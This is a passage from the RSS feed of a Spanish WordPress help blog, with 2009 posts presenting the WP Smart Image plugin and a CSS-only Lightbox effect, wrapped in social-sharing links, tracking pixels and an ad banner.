	<a rel="nofollow" href="http://ping.fm/ref/?link=http%3A%2F%2Fayudawordpress.com%2Fcomo-desactivar-scripts-y-estilos%2F&amp;title=Como%20desactivar%20scripts%20y%20estilos&amp;body=%0D%0A%0D%0AHay%20muchos%20plugins%20y%20themes%20que%20a%C3%B1aden%20JavaScript%20y%20CSS%20a%20tu%20sitio.%20Esto%2C%20que%20en%20s%C3%AD%20mismo%20no%20es%20malo%2C%20cuando%20usas%20varios%20plugins%20de%20este%20tipo%20pueden%20hacer%20verdaderas%20perrer%C3%ADas%20con%20tu%20sitio%2C%20mostrando%20una%20versi%C3%B3n%20lamentable%20del%20mismo%20cuando%20in" title="Ping.fm"><img src="http://ayudawordpress.com/wp-content/plugins/sociable/images/ping.png" alt="Ping.fm" class="sociable-hovers" /></a><br />
	<a rel="nofollow" href="http://www.wikio.com/vote?url=http%3A%2F%2Fayudawordpress.com%2Fcomo-desactivar-scripts-y-estilos%2F" title="Wikio"><img src="http://ayudawordpress.com/wp-content/plugins/sociable/images/wikio.png" alt="Wikio" class="sociable-hovers" /></a><br />
	<a rel="nofollow" href="http://www.printfriendly.com/getpf?url=http%3A%2F%2Fayudawordpress.com%2Fcomo-desactivar-scripts-y-estilos%2F" title="Turn this article into a PDF!"><img src="http://ayudawordpress.com/wp-content/plugins/sociable/images/pdf.png" alt="Turn this article into a PDF!" class="sociable-hovers" /></a><br />
	<a rel="nofollow" href="mailto:?subject=Como%20desactivar%20scripts%20y%20estilos&amp;body=http%3A%2F%2Fayudawordpress.com%2Fcomo-desactivar-scripts-y-estilos%2F" title="E-mail this story to a friend!"><img src="http://ayudawordpress.com/wp-content/plugins/sociable/images/email_link.png" alt="E-mail this story to a friend!" class="sociable-hovers" /></a><br />
	<a rel="nofollow" href="http://www.printfriendly.com/print?url=http%3A%2F%2Fayudawordpress.com%2Fcomo-desactivar-scripts-y-estilos%2F" title="Print this article!"><img src="http://ayudawordpress.com/wp-content/plugins/sociable/images/printfriendly.png" alt="Print this article!" class="sociable-hovers" /></a></p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/AyudaWordpress?a=avj2NgcCc24:sFY2AZBcr0k:Dsqc8YHEA1Y"><img src="http://feeds.feedburner.com/~ff/AyudaWordpress?i=avj2NgcCc24:sFY2AZBcr0k:Dsqc8YHEA1Y" border="0"></img></a>
</div>
<p><img src="http://feeds.feedburner.com/~r/AyudaWordpress/~4/avj2NgcCc24" height="1"></p>
]]></content:encoded>
			<wfw:commentRss>http://feedproxy.google.com/~r/AyudaWordpress/~3/avj2NgcCc24/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WP Smart Image Plugin</title>
		<link>http://feedproxy.google.com/~r/AyudaWordpress/~3/qUPtedLtmiw/</link>
		<comments>http://feedproxy.google.com/~r/AyudaWordpress/~3/qUPtedLtmiw/#comments</comments>
		<pubDate>Tue, 21 Jul 2009 23:08:50 +0000</pubDate>
		<dc:creator>planetawordpress</dc:creator>
				<category><![CDATA[WordPress]]></category>
		<category><![CDATA[Avanzado]]></category>
		<category><![CDATA[CSS]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[plugins]]></category>
		<category><![CDATA[Wordpress.org]]></category>

		<guid isPermaLink="false">http://ayudawordpress.com/?p=5560</guid>
		<description><![CDATA[Darío Ferrer, un buen conocido de todos del foro ha elaborado un plugin que va más allá de lo que estamos acostumbrados, toda una virguería que seguro que vais a apreciar.
Según el mismo comenta con WP Smart Image puedes:

Elegir la imagen a mostrar.
Elegir entre los cuatro tamaños que genera Wordpress: miniatura, medio, grande y full.
Enlazar [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://ayudawordpress.com/wp-content/uploads/2009/07/wp-smart-image.jpg" rel="lightbox"><img src="http://ayudawordpress.com/wp-content/uploads/2009/07/wp-smart-image.jpg" alt="wp smart image" width="320" height="451" class="aligncenter size-full wp-image-5561" /></a></p>
<p>Darío Ferrer, un buen conocido de todos del <a href="http://ayudawordpress.com/foro/">foro</a> ha elaborado un plugin que va más allá de lo que estamos acostumbrados, toda una virguería que seguro que vais a apreciar.</p>
<p>Según el mismo comenta con <a href="http://www.darioferrer.com/wp-smart-image">WP Smart Image</a> puedes:</p>
<ul>
<li>Elegir la imagen a mostrar.</li>
<li>Elegir entre los cuatro tamaños que genera Wordpress: miniatura, medio, grande y full.</li>
<li>Enlazar la imagen al artículo o dejarla sin enlace.</li>
<li>Agregar clases e IDs personalizadas a tus imágenes para aplicar estilos CSS, o bien gestionarlas con javascript, php, etc.</li>
<li>Mostrar imágenes en la lista de entradas que se encuentran ocultas en el contenido.</li>
<li>Obtener sólo la URL de la imagen en lugar de la etiqueta completa.</li>
<li>Personalizar atributos ALT y TITLE predeterminados si éstos no han sido configurados.</li>
<li>Agregar enlace a la versión full de la imagen desde la miniatura o tamaño medio.</li>
<li>Personalizar las imágenes genéricas (y sus rutas) para todos los tamaños, las cuales aparecerán cuando el artículo no tenga imágenes.</li>
</ul>
<p>Una gozada que no debes perderte.</p>
<p>¿Te gustó este post? ¡Compártelo!</p>
<p>	<a rel="nofollow" href="http://bitacoras.com/anotaciones/http%3A%2F%2Fayudawordpress.com%2Fwp-smart-image-plugin%2F" title="Bitacoras.com"><img src="http://ayudawordpress.com/wp-content/plugins/sociable/images/bitacoras.png" alt="Bitacoras.com" class="sociable-hovers" /></a><br />
	<a rel="nofollow" href="http://twitter.com/home?status=http%3A%2F%2Fayudawordpress.com%2Fwp-smart-image-plugin%2F" title="TwitThis"><img src="http://ayudawordpress.com/wp-content/plugins/sociable/images/twitter.png" alt="TwitThis" class="sociable-hovers" /></a><br />
	<a rel="nofollow" href="http://www.facebook.com/share.php?u=http%3A%2F%2Fayudawordpress.com%2Fwp-smart-image-plugin%2F&amp;t=WP%20Smart%20Image%20Plugin" title="Facebook"><img src="http://ayudawordpress.com/wp-content/plugins/sociable/images/facebook.png" alt="Facebook" class="sociable-hovers" /></a><br />
	<a rel="nofollow" href="http://meneame.net/submit.php?url=http%3A%2F%2Fayudawordpress.com%2Fwp-smart-image-plugin%2F" title="Meneame"><img src="http://ayudawordpress.com/wp-content/plugins/sociable/images/meneame.png" alt="Meneame" class="sociable-hovers" /></a><br />
	<a rel="nofollow" href="http://www.google.com/bookmarks/mark?op=edit&amp;bkmk=http%3A%2F%2Fayudawordpress.com%2Fwp-smart-image-plugin%2F&amp;title=WP%20Smart%20Image%20Plugin&amp;annotation=%0D%0A%0D%0ADar%C3%ADo%20Ferrer%2C%20un%20buen%20conocido%20de%20todos%20del%20foro%20ha%20elaborado%20un%20plugin%20que%20va%20m%C3%A1s%20all%C3%A1%20de%20lo%20que%20estamos%20acostumbrados%2C%20toda%20una%20virguer%C3%ADa%20que%20seguro%20que%20vais%20a%20apreciar.%0D%0A%0D%0ASeg%C3%BAn%20el%20mismo%20comenta%20con%20WP%20Smart%20Image%20puedes%3A%0D%0A%0D%0A%09Elegir%20la%20im" title="Google Bookmarks"><img src="http://ayudawordpress.com/wp-content/plugins/sociable/images/googlebookmark.png" alt="Google Bookmarks" class="sociable-hovers" /></a><br />
	<a rel="nofollow" href="http://delicious.com/post?url=http%3A%2F%2Fayudawordpress.com%2Fwp-smart-image-plugin%2F&amp;title=WP%20Smart%20Image%20Plugin&amp;notes=%0D%0A%0D%0ADar%C3%ADo%20Ferrer%2C%20un%20buen%20conocido%20de%20todos%20del%20foro%20ha%20elaborado%20un%20plugin%20que%20va%20m%C3%A1s%20all%C3%A1%20de%20lo%20que%20estamos%20acostumbrados%2C%20toda%20una%20virguer%C3%ADa%20que%20seguro%20que%20vais%20a%20apreciar.%0D%0A%0D%0ASeg%C3%BAn%20el%20mismo%20comenta%20con%20WP%20Smart%20Image%20puedes%3A%0D%0A%0D%0A%09Elegir%20la%20im" title="del.icio.us"><img src="http://ayudawordpress.com/wp-content/plugins/sociable/images/delicious.png" alt="del.icio.us" class="sociable-hovers" /></a><br />
	<a rel="nofollow" href="https://favorites.live.com/quickadd.aspx?marklet=1&amp;url=http%3A%2F%2Fayudawordpress.com%2Fwp-smart-image-plugin%2F&amp;title=WP%20Smart%20Image%20Plugin" title="Live"><img src="http://ayudawordpress.com/wp-content/plugins/sociable/images/live.png" alt="Live" class="sociable-hovers" /></a><br />
	<a rel="nofollow" href="http://technorati.com/faves?add=http%3A%2F%2Fayudawordpress.com%2Fwp-smart-image-plugin%2F" title="Technorati"><img src="http://ayudawordpress.com/wp-content/plugins/sociable/images/technorati.png" alt="Technorati" class="sociable-hovers" /></a><br />
	<a rel="nofollow" href="http://ping.fm/ref/?link=http%3A%2F%2Fayudawordpress.com%2Fwp-smart-image-plugin%2F&amp;title=WP%20Smart%20Image%20Plugin&amp;body=%0D%0A%0D%0ADar%C3%ADo%20Ferrer%2C%20un%20buen%20conocido%20de%20todos%20del%20foro%20ha%20elaborado%20un%20plugin%20que%20va%20m%C3%A1s%20all%C3%A1%20de%20lo%20que%20estamos%20acostumbrados%2C%20toda%20una%20virguer%C3%ADa%20que%20seguro%20que%20vais%20a%20apreciar.%0D%0A%0D%0ASeg%C3%BAn%20el%20mismo%20comenta%20con%20WP%20Smart%20Image%20puedes%3A%0D%0A%0D%0A%09Elegir%20la%20im" title="Ping.fm"><img src="http://ayudawordpress.com/wp-content/plugins/sociable/images/ping.png" alt="Ping.fm" class="sociable-hovers" /></a><br />
	<a rel="nofollow" href="http://www.wikio.com/vote?url=http%3A%2F%2Fayudawordpress.com%2Fwp-smart-image-plugin%2F" title="Wikio"><img src="http://ayudawordpress.com/wp-content/plugins/sociable/images/wikio.png" alt="Wikio" class="sociable-hovers" /></a><br />
	<a rel="nofollow" href="http://www.printfriendly.com/getpf?url=http%3A%2F%2Fayudawordpress.com%2Fwp-smart-image-plugin%2F" title="Turn this article into a PDF!"><img src="http://ayudawordpress.com/wp-content/plugins/sociable/images/pdf.png" alt="Turn this article into a PDF!" class="sociable-hovers" /></a><br />
	<a rel="nofollow" href="mailto:?subject=WP%20Smart%20Image%20Plugin&amp;body=http%3A%2F%2Fayudawordpress.com%2Fwp-smart-image-plugin%2F" title="E-mail this story to a friend!"><img src="http://ayudawordpress.com/wp-content/plugins/sociable/images/email_link.png" alt="E-mail this story to a friend!" class="sociable-hovers" /></a><br />
	<a rel="nofollow" href="http://www.printfriendly.com/print?url=http%3A%2F%2Fayudawordpress.com%2Fwp-smart-image-plugin%2F" title="Print this article!"><img src="http://ayudawordpress.com/wp-content/plugins/sociable/images/printfriendly.png" alt="Print this article!" class="sociable-hovers" /></a></p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/AyudaWordpress?a=qUPtedLtmiw:j9B4G5kunkg:Dsqc8YHEA1Y"><img src="http://feeds.feedburner.com/~ff/AyudaWordpress?i=qUPtedLtmiw:j9B4G5kunkg:Dsqc8YHEA1Y" border="0"></img></a>
</div>
<p><img src="http://feeds.feedburner.com/~r/AyudaWordpress/~4/qUPtedLtmiw" height="1"></p>
]]></content:encoded>
			<wfw:commentRss>http://feedproxy.google.com/~r/AyudaWordpress/~3/qUPtedLtmiw/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Efecto Lightbox solo con CSS</title>
		<link>http://feedproxy.google.com/~r/ayudawordpress/~3/P0SatSyj0ac/</link>
		<comments>http://feedproxy.google.com/~r/ayudawordpress/~3/P0SatSyj0ac/#comments</comments>
		<pubDate>Sun, 21 Jun 2009 22:02:59 +0000</pubDate>
		<dc:creator>planetawordpress</dc:creator>
				<category><![CDATA[WordPress]]></category>
		<category><![CDATA[CSS]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[lightbox]]></category>
		<category><![CDATA[Miniposts]]></category>
		<category><![CDATA[programación]]></category>
		<category><![CDATA[Themes]]></category>
		<category><![CDATA[Wordpress.org]]></category>

		<guid isPermaLink="false">http://ayudawordpress.com/?p=5316</guid>
		<description><![CDATA[Si te gusta el efecto Lightbox ese redimensionado de las imágenes sin salir de la página, debes saber que no es necesario usar Javascript, lo puedes conseguir solo con CSS.



¿Te gustó este post? ¡Compártelo!

















Electroplastas.es Un nuevo proyecto que te ayuda a disfrutar de la música a través de playlists de Spotify. Las mejores canciones de [...]]]></description>
			<content:encoded><![CDATA[<p>Si te gusta el efecto <strong>Lightbox</strong> ese redimensionado de las imágenes sin salir de la página, debes saber que no es necesario usar Javascript, lo puedes conseguir <a href="http://www.emanueleferonato.com/2007/08/22/create-a-lightbox-effect-only-with-css-no-javascript-needed/">solo con CSS</a>.</p>
<p>¿Te gustó este post? ¡Compártelo!</p>
<p>	<a rel="nofollow" href="http://bitacoras.com/anotaciones/http%3A%2F%2Fayudawordpress.com%2Fefecto-lightbox-solo-con-css%2F" title="Bitacoras.com"><img src="http://ayudawordpress.com/wp-content/plugins/sociable/images/bitacoras.png" alt="Bitacoras.com" class="sociable-hovers" /></a><br />
	<a rel="nofollow" href="http://feedproxy.google.com/~r/ayudawordpress/~3/P0SatSyj0ac/" title="TwitThis"><img src="http://ayudawordpress.com/wp-content/plugins/sociable/images/" alt="TwitThis" class="sociable-hovers" /></a><br />
	<a rel="nofollow" href="http://www.facebook.com/share.php?u=http%3A%2F%2Fayudawordpress.com%2Fefecto-lightbox-solo-con-css%2F&amp;t=Efecto%20Lightbox%20solo%20con%20CSS" title="Facebook"><img src="http://ayudawordpress.com/wp-content/plugins/sociable/images/facebook.png" alt="Facebook" class="sociable-hovers" /></a><br />
	<a rel="nofollow" href="http://meneame.net/submit.php?url=http%3A%2F%2Fayudawordpress.com%2Fefecto-lightbox-solo-con-css%2F" title="Meneame"><img src="http://ayudawordpress.com/wp-content/plugins/sociable/images/meneame.png" alt="Meneame" class="sociable-hovers" /></a><br />
	<a rel="nofollow" href="http://www.google.com/bookmarks/mark?op=edit&amp;bkmk=http%3A%2F%2Fayudawordpress.com%2Fefecto-lightbox-solo-con-css%2F&amp;title=Efecto%20Lightbox%20solo%20con%20CSS&amp;annotation=Si%20te%20gusta%20el%20efecto%20Lightbox%20ese%20redimensionado%20de%20las%20im%C3%A1genes%20sin%20salir%20de%20la%20p%C3%A1gina%2C%20debes%20saber%20que%20no%20es%20necesario%20usar%20Javascript%2C%20lo%20puedes%20conseguir%20solo%20con%20CSS." title="Google Bookmarks"><img src="http://ayudawordpress.com/wp-content/plugins/sociable/images/googlebookmark.png" alt="Google Bookmarks" class="sociable-hovers" /></a><br />
	<a rel="nofollow" href="http://delicious.com/post?url=http%3A%2F%2Fayudawordpress.com%2Fefecto-lightbox-solo-con-css%2F&amp;title=Efecto%20Lightbox%20solo%20con%20CSS&amp;notes=Si%20te%20gusta%20el%20efecto%20Lightbox%20ese%20redimensionado%20de%20las%20im%C3%A1genes%20sin%20salir%20de%20la%20p%C3%A1gina%2C%20debes%20saber%20que%20no%20es%20necesario%20usar%20Javascript%2C%20lo%20puedes%20conseguir%20solo%20con%20CSS." title="del.icio.us"><img src="http://ayudawordpress.com/wp-content/plugins/sociable/images/delicious.png" alt="del.icio.us" class="sociable-hovers" /></a><br />
	<a rel="nofollow" href="https://favorites.live.com/quickadd.aspx?marklet=1&amp;url=http%3A%2F%2Fayudawordpress.com%2Fefecto-lightbox-solo-con-css%2F&amp;title=Efecto%20Lightbox%20solo%20con%20CSS" title="Live"><img src="http://ayudawordpress.com/wp-content/plugins/sociable/images/live.png" alt="Live" class="sociable-hovers" /></a><br />
	<a rel="nofollow" href="http://technorati.com/faves?add=http%3A%2F%2Fayudawordpress.com%2Fefecto-lightbox-solo-con-css%2F" title="Technorati"><img src="http://ayudawordpress.com/wp-content/plugins/sociable/images/technorati.png" alt="Technorati" class="sociable-hovers" /></a><br />
	<a rel="nofollow" href="http://ping.fm/ref/?link=http%3A%2F%2Fayudawordpress.com%2Fefecto-lightbox-solo-con-css%2F&amp;title=Efecto%20Lightbox%20solo%20con%20CSS&amp;body=Si%20te%20gusta%20el%20efecto%20Lightbox%20ese%20redimensionado%20de%20las%20im%C3%A1genes%20sin%20salir%20de%20la%20p%C3%A1gina%2C%20debes%20saber%20que%20no%20es%20necesario%20usar%20Javascript%2C%20lo%20puedes%20conseguir%20solo%20con%20CSS." title="Ping.fm"><img src="http://ayudawordpress.com/wp-content/plugins/sociable/images/ping.png" alt="Ping.fm" class="sociable-hovers" /></a><br />
	<a rel="nofollow" href="http://www.wikio.com/vote?url=http%3A%2F%2Fayudawordpress.com%2Fefecto-lightbox-solo-con-css%2F" title="Wikio"><img src="http://ayudawordpress.com/wp-content/plugins/sociable/images/wikio.png" alt="Wikio" class="sociable-hovers" /></a><br />
	<a rel="nofollow" href="http://www.printfriendly.com/getpf?url=http%3A%2F%2Fayudawordpress.com%2Fefecto-lightbox-solo-con-css%2F&amp;partner=sociable" title="Turn this article into a PDF!"><img src="http://ayudawordpress.com/wp-content/plugins/sociable/images/pdf.png" alt="Turn this article into a PDF!" class="sociable-hovers" /></a><br />
	<a rel="nofollow" href="mailto:?subject=Efecto%20Lightbox%20solo%20con%20CSS&amp;body=http%3A%2F%2Fayudawordpress.com%2Fefecto-lightbox-solo-con-css%2F" title="E-mail this story to a friend!"><img src="http://ayudawordpress.com/wp-content/plugins/sociable/images/email_link.png" alt="E-mail this story to a friend!" class="sociable-hovers" /></a><br />
	<a rel="nofollow" href="http://www.printfriendly.com/print?url=http%3A%2F%2Fayudawordpress.com%2Fefecto-lightbox-solo-con-css%2F&amp;partner=sociable" title="Print this article!"><img src="http://ayudawordpress.com/wp-content/plugins/sociable/images/printfriendly.png" alt="Print this article!" class="sociable-hovers" /></a></p>
<div style="border: 1px solid #CCCCCC;font-size: small;color:#333333;background-color:#EEEEEE;width: auto;height: 72px;padding: 8px"><img src="http://betablocks.com/sites/default/files/twitterWWWhatsnew.jpg" alt="" style="float: left;margin-right: 8px;border: 1px solid #CCCCCC;padding: 4px">No te pierdas el canal twitter de wwwhatsnew.com. <a href="http://openx.internetproxima.com/www/delivery/ck.php?oaparams=2__bannerid=48__zoneid=32__cb=668b18fd55__oadest=http://twitter.com/wwwhatsnew">twitter.com/wwwhatsnew</a> te trae la mejor selección de noticias de tecnología, polémicas y curiosidades de nuestro día a día.</div>
<p align="right" style="font-size: xx-small;color:#333333">
Promociona tu web con BetaBlocks (www.betablocks.com).
</p>
<div id='beacon_668b18fd55'><img src='http://openx.internetproxima.com/www/delivery/lg.php?bannerid=48&amp;campaignid=26&amp;zoneid=32&amp;loc=http%3A%2F%2Fopenx.internetproxima.com%2Fwww%2Fproxy.php%3Fsoporte_id%3Dayudawordpress&amp;cb=668b18fd55' width='0' height='0' alt='' style='width: 0px;height: 0px' /></div>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ayudawordpress?a=P0SatSyj0ac:Q1nRBfYVNm8:Dsqc8YHEA1Y"><img src="http://feeds.feedburner.com/~ff/ayudawordpress?i=P0SatSyj0ac:Q1nRBfYVNm8:Dsqc8YHEA1Y" border="0"></img></a>
</div>
<p><img src="http://feeds.feedburner.com/~r/ayudawordpress/~4/P0SatSyj0ac" height="1"></p>
]]></content:encoded>
			<wfw:commentRss>http://feedproxy.google.com/~r/ayudawordpress/~3/P0SatSyj0ac/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
